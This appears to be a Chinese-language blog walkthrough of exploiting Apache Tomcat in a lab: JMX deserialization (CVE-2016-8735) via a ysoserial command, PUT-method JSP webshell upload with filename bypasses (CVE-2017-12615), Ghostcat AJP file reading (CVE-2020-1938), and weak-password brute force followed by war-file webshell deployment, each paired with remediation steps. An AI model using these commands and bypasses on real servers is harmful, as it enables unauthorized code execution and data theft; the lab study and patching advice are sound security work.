介绍
Tomcat是Apache 软件基金会(Apache Software Foundation)的Jakarta 项目中的一个核心项目,由Apache、Sun 和其他一些公司及个人共同开发而成。由于有了Sun 的参与和支持,最新的Servlet 和JSP 规范总是能在Tomcat 中得到体现。因为Tomcat 技术先进、性能稳定,而且免费,因而深受Java 爱好者的喜爱并得到了部分软件开发商的认可,成为目前比较流行的Web 应用服务器。
环境搭建
1 | Java环境安装 |
1、下载并解压

2、双击执行启动服务
1 | http://192.168.3.156:8080/ |
Tomcat结构介绍
下载解压后存在目录、文件信息:
1 | bin-----存放Tomcat的脚本文件,例如启动、关闭 |
漏洞分类实战
CVE-2016-8735
漏洞描述
Oracle修复了JmxRemoteLifecycleListener反序列化漏洞(CVE-2016-3427)。 Tomcat也使用了JmxRemoteLifecycleListener这个监听器,但是Tomcat并没有及时升级,所以存在这个远程代码执行漏洞。
影响范围
Apache Tomcat 9.0.0.M1 to 9.0.0.M11
Apache Tomcat 8.5.0 to 8.5.6
Apache Tomcat 8.0.0.RC1 to 8.0.38
Apache Tomcat 7.0.0 to 7.0.72
Apache Tomcat 6.0.0 to 6.0.47
漏洞原理
该漏洞的诱因存在于Oracle已经修复的JmxRemoteLifecycleListener反序列化漏洞(CVE-2016-3427)。因为Tomcat也使用了JmxRemoteLifecycleListener监听功能,但并没有及时升级,导致该远程代码执行漏洞。
漏洞条件
1、要外部开启JmxRemoteLifecycleListener监听端口,实现远程利用。
1 | conf/server.xml |
2、下载对应jar放到lib目录下:
- catalina-jmx-remote.jar要与对应tomcat版本一致不同版本下载一般存在extras文件下,如下图所示
- groovy2.3.9下载版本最好为2.3.9(经过测试2.3.0到2.4.0-beta-4)
3、接着修改bin/catalina.bat,在Execute The Requested Command处上面添加
1 | set CATALINA_OPTS=-Dcom.sun.management.jmxremote.ssl=false -Dcom.sun.management.jmxremote.authenticate=false |
- -Dcom.sun.management.jmxremote.ssl=false 指定是否使用SSL通讯
- -Dcom.sun.management.jmxremote.authenticate=false 指定是否需要密码验证
4、服务启动
下图所示:服务已启动10001端口已启动
漏洞检测
1、执行以下PoC
1 | java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 192.168.3.165 10001 Groovy1 calc.exe |
Java 1.8出现报错
1.7的jdk成功弹出计算器
漏洞修复
紧急措施:关闭JmxRemoteLifecycleListener功能,或者是对jmx JmxRemoteLifecycleListener远程端口进行网络访问控制。同时,增加严格的认证方式。
升级jdk(目前测试1.8是无法利用)
推荐方案:官方已经发布了版本更新,建议您升级到最新版本。
Apache Tomcat 9.0.0.M13或更新版本(Apache Tomcat 9.0.0.M12也修复了此漏洞,但并未发布)
Apache Tomcat 8.5.8或更新版本(Apache Tomcat 8.5.7也修复了此漏洞,但并未发布)
Apache Tomcat 8.0.39或更新版本
Apache Tomcat 7.0.73或更新版本
Apache Tomcat 6.0.48或更新版本
CVE-2017-12615
漏洞描述
远程代码执行漏洞(CVE-2017-12615)。当存在漏洞的Tomcat 运行在 Windows 主机上,且启用了HTTP PUT请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 的webshell文件,JSP文件中的恶意代码将能被服务器执行,导致服务器上的数据泄露或获取服务器权限。
影响范围
Apache Tomcat 7.0.0 – 7.0.79
漏洞原理
启用了HTTP PUT请求方法(例如,将 readonly 初始化参数由默认值设置为 false),可任意上传恶意文件至服务器端
默认readonly
为true
,也就是无法进行PUT、DELETE行为
1 | conf/web.xml //文件内容 |
这个CVE漏洞涉及到 DefaultServlet,DefaultServlet作用是处理静态文件,同时DefaultServlet可以处理PUT或DELETE请求,默认配置如图2:
可以看出即使设置readonly为false,默认tomcat也不允许PUT上传jsp和jspx文件,因为后端都用org.apache.catalina.servlets.JspServlet来处理jsp或是jspx后缀的请求,而JspServlet负责处理所有JSP和JPSX类型的动态请求,从代码没有发现处理HTTP PUT类型的操作, 所以可知PUT以及DELTE等HTTP操作由DefautServelt实现。因此,就算我们构造请求直接上传JSP webshell显然是不会成功的。该漏洞实际上是利用了windows下文件名解析的漏洞来触发的。根本是通过构造特殊后缀名,绕过Tomcat检测,让Tomcat用DefaultServlet的逻辑处理请求,从而上传jsp webshell文件。
绕过方式:
Windows:
1、利用/shell.jsp::$DATA的方式绕过
2、/shell.jsp%20,空格绕过
3、/shell.jsp/ , Tomcat在处理文件时会删除最后的/
Linux:
1、/shell.jsp/ , Tomcat在处理文件时会删除最后的/
漏洞条件
readonly
设置为false
时会导致攻击者上传任意恶意文件。
漏洞检测
漏洞环境使用P牛docker镜像验证。
Tomcat version: 8.5.19
将readonly参数设置为false时,即可通过PUT方式创建一个JSP文件,并可以执行任意代码。修改部分如下。
1、readonly默认值为true,手动将其改为false,在conf/web.xml
中手动添加红色方框类内容。
添加如下:
1 | <init-param> |
2、修改请求头并传递post数据
1 | PUT /shell.jsp HTTP/1.1 |
由上图看到提示404,说明JspServlet负责处理所有JSP和JPSX类型的动态请求,不能够处理PUT方法类型的请求。会被过滤掉。
此时可以利用上面介绍的绕过方式
利用文件解析漏洞采用PUT方式上传jsp webshell文件。其中文件名设为/shell.jsp/。(如果文件名后缀是空格那么将会被tomcat给过滤掉。)
1 | PUT /shell.jsp/ HTTP/1.1 |
下图所示修改shell.jsp/即可上传成功
文件访问
shell管理
漏洞修复
1、删除web.xml文件中readonly属性的值为true或直接删除
2、更新至官方最新
CVE-2020-1938
漏洞描述
CVE-2020-1938是由于Apache Tomcat服务器存在文件包含漏洞,攻击者可利用该漏洞读取或包含 Tomcat 上所有 webapp 目录下的任意文件,如:webapp 配置文件或源代码等。
由于Tomcat默认开启的AJP服务(8009端口)存在一处文件包含缺陷,攻击者可构造恶意的请求包进行文件包含操作,进而读取受影响Tomcat服务器上的Web目录文件。
影响范围
Apache Tomcat 6
Apache Tomcat 7 < 7.0.100
Apache Tomcat 8 < 8.5.51
Apache Tomcat 9 < 9.0.31
漏洞原理
由于Tomcat默认开启的AJP服务(8009端口)存在一处文件包含缺陷,攻击者可构造恶意的请求包进行文件包含操作,进而读取受影响Tomcat服务器上的Web目录文件。
漏洞条件
无条件(漏洞环境参考zip解压并执行)
漏洞检测
1、URL访问
1 | http://192.168.3.167:8080/ |
2、端口号检测
由上可以知道目标主机开放8009端口号。
3、PoC读取文件
1 | python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.3.167 -p 8009 -f WEB-INF/web.xml |
漏洞修复
1、下载最新
1 | https://tomcat.apache.org/download-70.cgi |
2、临时禁用AJP协议端口,
在conf/server.xml
注释此行<Connector port="8009" protocol="AJP/1.3"redirectPort="8443" />
Weak password
漏洞描述
弱口令属于常见漏洞,也是在漏洞挖掘时一个很好的突破口;而tomcat如果存在弱口令,那将会影响系统被攻击者获取系统权限。
影响范围
所有版本
漏洞原理
口令设置较弱,可直接爆破。
1 | conf/tomcat-users.xml(添加一行即可) |
漏洞条件
无条件
漏洞检测
1、URL访问
1 | http://192.168.3.167:8080/ |
2、点击“Server Status”
3、尝试爆破
4、生成war包
1 | ➜ server jar -cvf shell.war shell.jsp |
5、部署war包
6、访问
1 | http://192.168.3.167:8080/shell/shell.jsp |
漏洞修复
1、设置强壮密码
2、平时不用,不允许登录
Tools
参考
1 | https://github.com/vulhub/vulhub/tree/master/tomcat |
若你觉得我的文章对你有帮助,欢迎点击上方按钮对我打赏
扫描二维码,分享此文章